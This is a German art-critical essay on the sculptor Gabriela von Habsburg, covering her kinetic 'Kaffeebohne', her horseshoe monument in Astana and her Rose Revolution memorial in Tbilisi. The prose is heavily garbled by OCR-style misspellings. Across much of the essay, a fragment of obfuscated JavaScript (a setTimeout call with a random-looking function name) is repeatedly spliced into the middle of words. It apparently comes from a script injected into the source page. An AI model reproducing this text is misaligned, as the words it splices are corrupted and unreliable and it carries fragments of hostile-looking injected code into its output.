Dialog mit der Architektur

von Matthias Frehner, 2016

Die Architektur kennt keine Grenzen: Bauten werden hoher, raf­finierter, kühner. Die urbanen Symbole unserer Zeit werden von Architekten geschaffen: Leoh Ming Peis Glaspyramide des Louvre in Paris, Frank Gehrys Guggenheim-Museum in Bilbao, Norman Fosters Londoner Hochhaus »Gherkin«, Renzo Pianos Klee-Wellen in Bern. Diese Bauwerke sind nicht nur funktionale Gebäude, ihre Außenformen sind skulptural gestaltet. Die Architekturkritik usurpierte !angst das Vokabular der Bildhauerei, die Louvre-Pyra­mide sei ein Monolith, das Guggenheim-Museum und das Zen­trum Paul Klee eine Skulptur … Wo bleibt da die Plastik? Tatsache ist, dass bei diesen spektakulären Großbauten die Plastik keine adäquate Rolle mehr spielt. Da der Architekt selber zu plasti­schen Gestaltungsformen greift. ist das Bauwerk beides: Archi­tektur und Skulptur. Die Architektur hat die Plastik »geschluckt«. Vor plastisch gestalteten Gebäuden, deren Umgebung Teil des Werkes ist, sind eigenmächtige Skulpturen unerwünscht. Wo sie dennoch unabdingbar sind, werden sie vom Architekten, der sein Gesamtkunstwerk nicht gestört sehen will, kurz selbst entworfen, beispielsweise in Bern von Renzo Piano. Dort, wo noch immer Künstlerinnen und Kunstler zum Zug kommen, hat sich ein neues Verhältnis zwischen ihnen und dem Stararchitekten herausgebil­det: Bildhauerinnen und Bildhauer spielen neben dem Imperator die Rolle des Hofnarren. Ihre Werke konkurrenzieren nicht mit der architektonischen Form, sie kommentieren sie beiläufig: Der gebauten Architektur antworten Kunstler häufig mit virtuellen Volumen. sie erstellen Fotodokumentation, Soundinstallationen, Lichtskulpturen. An der documenta Xll gibt es im Außenraum nur ein einziges plastisches Grossformat – eine Assemblage aus historischen Türen von Ai Wei Wei – dafür ein Mohnfeld und ein Karussell or dem Friderizianum sowie eine Reisterrasse vor dem Schloss Wilhelmshöhe.

Gabriela von Habsburg ist Bildhauerin geblieben. Sie glaubt an die gleichwertige Partnerschaft von Architektur und Plastik. Sie begnügt sich nicht mit der Rolle eines spaßigen Karussellbetrei­bers oder einer ironischen Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andschaftsgärtnerin wie ihre Kolle­gen Andreas Siekman, Sanja lvekovic und Sakarin Krue-On in Kassel. Sie setzt als Plastikerin selbst »architektonische« Zeichen. Monumentaler Architektur antwortet sie mit plastischer Monu­mentalität. Sie kreiert Wahrzeichen im urbanen Raum, sie trans­formiert die gesamtkunsthafte Denkmalanlage früherer Epochen in eine zeitgemäße Formensprache. Ihre Position ist jedoch nicht die eines neokonservativen Postmodernismus. Nie begnügt sie sich mit der Rolle derjenigen, die bloß schmückend eingreift. Sie leistet vielmehr Widerpart und tritt als gleichberechtigte Partne­rin in den Ring. Skulpturaler Architektur antwortet sie mit archi­tektonischer Plastik. Gabriela von Habsburg ist als Künstlerin von den organisch-offenen Raumstrukturen ihres dänischen Lehrers Robert Jacobsen (1912-1993), eines eigenwilligen Vertreters der Eisenplastik-Pioniere, geprägt. Wie dieser spielt sie mit den Ma­terialeigenschaften, ihre Vorliebe fur spiegelnde Edelmetalle, die sie konstruktiv verarbeitet, teilt sie weiter mit dem deutschen informellen Metallplastiker Norbert Kricke (1922 -1984), und ihr Vordringen in die kinetische Plastik setzt das Schaffen von George Rickey (1907 -2002) fort.
Kinetik: Für eine Firma in Aarburg, die im Kaffeegeschaft tätig ist, hat die Künstlerin 2007 ein monumentales Werk im Außenraum geschaffen. Eine schlanke Stange trägt einen längsovalen Körper. Die Gesamtform erinnert an eine stilisierte Baumkrone. Diese Form ist gegenüber der Trägerstange leicht aus der Yertikalachse gekippt. Das Ellipsoid besteht aus 23 parallelen Scheiben mit re­gelmäßigen Zwischenräumen. Die Scheiben liegen gegenüber der Horizontalen des Platzes leicht schräg. Der Körper – das Werk heißt »Kaffeebohne« – dreht sich langsam um den zentralen Trä­gerstab. E?ntsprechend der Schräglage der Scheiben verändert die Gesamtform wahrend der Drehung nicht nur ihren Umriss, sondern auch ihr Binnenbild. Die Lichtschlitze zwischen den Scheiben schließen sich fur den Betrachter mit fixem Standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andpunkt kontinuierlich zum geschlossenen Kerper, der sich wieder in die ursprüngliche Lamellenform zurückverwandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelt. E?benso verändert sich das Schattenbild, das der Kerper wirft, und das Licht, das auf das E?llipsoid fallt, dringt bald in die offene Struktur ein, bald wird es von der glänzenden Oberflache gleißend zurückgeworfen. Mit formal einfachen Mitteln erzeugt die Künstlerin eine komplexe Wir­kung. Die organisch-unregelmäßige Kaffeebohnenform wird durch die Veränderung ihres Volumens und die fließende Wirkung, die das Licht auf ihrer Oberflache entfaltet, zum lebendigen Kerper. Technik wird dabei als organischer Wachstumsprozess erlebbar. Diese kinetische Plastik weiß sich im E?inklang mit ihren Vorläu­fern der klassischen Moderne, insbesondere mit dem Werk von George Rickey. Sie erweitert jedoch Rickeys plastische Problem­stellungen. Setzt dieser pendelnde Zeichen in den Raum, so ver­wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelt Gabriela von Habsburg lineare Strukturen in Körperfor­men. Rickey »zeichnet« in den Raum. Sie »malt« und »modelliert« vor unseren Augen Volumen. Ihre künstlerische Wolke ware dem Wolkenhirten« Hans Arp (1886 -1966) eine Freude gewesen. Die »Krone« des Präsidenten: Reiterstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andbilder sind der Inbe­griff der Heldenverehrung. Ihre Form ist heute jedoch nicht mehr tauglich, zu oft waren falsche Heroen in dieser Würdeform aus­gezeichnet worden. Gabriela von Habsburg hat den Typus des Herrscherdenkmals aufgegriffen: Insbesondere seine Stellung im urbanen Raum und die damit verbundenen E?influssmöglichkeiten forderten sie zu einer erstaunlichen Umdeutung und Neuformu­lierung heraus. In bestehenden Städten entstehen kaum noch neue Denkmaler, vielmehr werden alte bei Regimewechseln rigo­ros entsorgt. Gabriela von Habsburg bot sich die fast einmalige Chance, in der auf dem Reißbrett neu entworfenen Metropole Astana einen zentralen Platz mit einem urbanen Wahrzeichen von enormen Dimensionen zu versehen. Ihr Partner in dem Unterneh­men ist der britische Stararchitekt Norman Foster. Im Auftrag des kasachischen Präsidenten Nursultan Nasarbajew realisiert Foster in der neuen Hauptstadt ohne einschränkende Rücksichtnahme auf Bestehendes idealtypische Repräsentationsbauten. Gabriela von Habsburgs »Denkmal des Pferdes« steht in axialer Beziehung zu Foster im ergangenen Herbst eingeweihten, monumentalen Friedenspyramide des »neuen Sonnenkönigs«. Das Denkmal ver­herrlicht indes nicht den Präsidenten, sondern das Pferd, das tra­ditionelle Statussymbol des ehemaligen Reitervolkes. Das Pferd selbst ist jedoch abwesend. Das Zentrum der quadratischen Anlage ist leer respektive von einem Kranz 16 hochkant gestell­ter Hufeisen strahlenförmig umgeben. Die regelmäßig in einem Bassin angeordneten Hufeisenformen aus spiegelndem Chrom­stahl greifen als gewaltige »Krone« in den Himmel. Eine hoch aus dem Zentrum schießende Wasserfontäne verwandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelt die Szene­rie in ein gleißendes Lichtspektakel. Gabriela von Habsburg hat mit ihrem Denkmal aus profan-banalen Glückssymbolen zwar eine Foster formal ebenbürtige Plastik geschaffen. Das Hufeisendenk­mal setzt ein gewaltiges, radial expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andierendes Zeichen, entzieht sich aber – im Unterschied zu dessen megalomaner Pyramide – der auf Herrscherkult getrimmten Urbanistik Astanas mit behut­samer Ironie.
Die »Rose« der Revolution: Als ein Denkmal »von der Jugend fur die Jugend in Erinnerung an die große Tat junger Menschen fur Georgien« hat Gabriela von Habsburg in Tbilisi ein Denkmal fur die unblutige Rosenrevolution von 2003 geschaffen. Die Reali­sierung des Projektes ist ein demokratisches Gemeinschaftspro­jekt. Gabriela von Habsburg entwarf eine Platzanlage mit einem stilisierten Rosengrundriss. Das Model! steht einer Kreisform mil segmentartig um das leere Zentrum gruppierten Steingrup­pen, eine Art modernes Stonehendge, vor. Die Anlage sollte aus den 60 Steinsorten Georgiens bestehen, welche die Vielfalt des Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes dokumentieren. Die Künstlerin wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andte sich an die Akade­mie der Künste in Tbilisi, denn es war ihr Konzept, dass die Steine von Studenten nach deren individuellen Vorstellungen behauen werden sollten. Vorgabe war, jeden Block einer historisch heraus­ragenden Person Georgiens zu widmen. f=ur die Beschaffung der Steine lancierte sie einen Aufruf an Sponsoren. Die Steine wur­den aus alien Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andesteilen von Gemeinden, Städten, von Firmen und Einzelpersonen zur Verfügung gestellt. Behauen wurden sie von den jungen Künstlern der Akademie. Die Form und Größe der Blocke ist sehr unterschiedlich. Rohe Felsblöcke wie Findlinge wechseln mit geometrisch behauenen, organisch gerundete mit reinen Quaderformen. Das Konzept gab nur den Bauplan vor, nicht aber wie die jungen Bildhauer die Blocke zu bearbeiten hatten. Gemeinsam wurde die Arbeit im Team besprochen: wer welchen Stein bearbeiten wollte, welcher Person er zu widmen sei, und auch wo er schließlich auf der »Rose« zu platzieren sei. Die Inschriften in georgischer Schrift vermitteln ein Bild von der groBen kulturellen Leistung des Landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes. erwähnt sind auch Sport­ler und Personen, die sich fur die Betreuung von Straßenkindern eingesetzt haben. Die »Rose« vermittelt somit ein lebendiges, wirk­lich alle Facetten der gesellschaftlichen und sozialen Entwicklung umfassendes Bild Georgiens. Die »Rose« ist ein lebendiger Orga­nismus, was das in ihr fließende Wasser zum Ausdruck bringt.
Wie die Adern eines Blattes verlaufen von der Peripherie kleine, unre­gelmäßige Kanäle in das Zentrum des Platzes. Das Rosendenkmal wurde sogleich zu einer lebendigen Begegnungsstätte. Menschen sitzen auf den Steinen, ruhen sich aus, diskutieren. Die Anlage ist eine Bühne, die Menschen, die in ihr agieren, sind fur die Künst­lerin das eigentlich lebendige Denkmal. Mit diesem Werk hat Gabriela von Habsburg eine überzeugende Aktualisierung des historischen Denkmals geschaffen. Dieses Denkmal hat sich von seiner Umgebung emanzipiert. Es tritt nicht in Dialog mit einer architektonischen Situation. Es zementiert keine einmal feststehenden Werte und Urteile. Es bettet sich organisch ein, es impo­niert nicht. Es ist eine Plattform der Begegnung. Die Menschen, die es »benutzen«, machen es erst vollkommen. In ihrer Auseinan­dersetzung mit den von der Künstlerin und ihren Koautoren ge­schaffenen Spielsteinen ergibt sich jedes Mal eine neue »Rose« der politischen und gesellschaftlichen Wirklichkeit. Dieses demo­kratisch »offene« Denkmal ist zukunftsweisend.

Matthias Frehner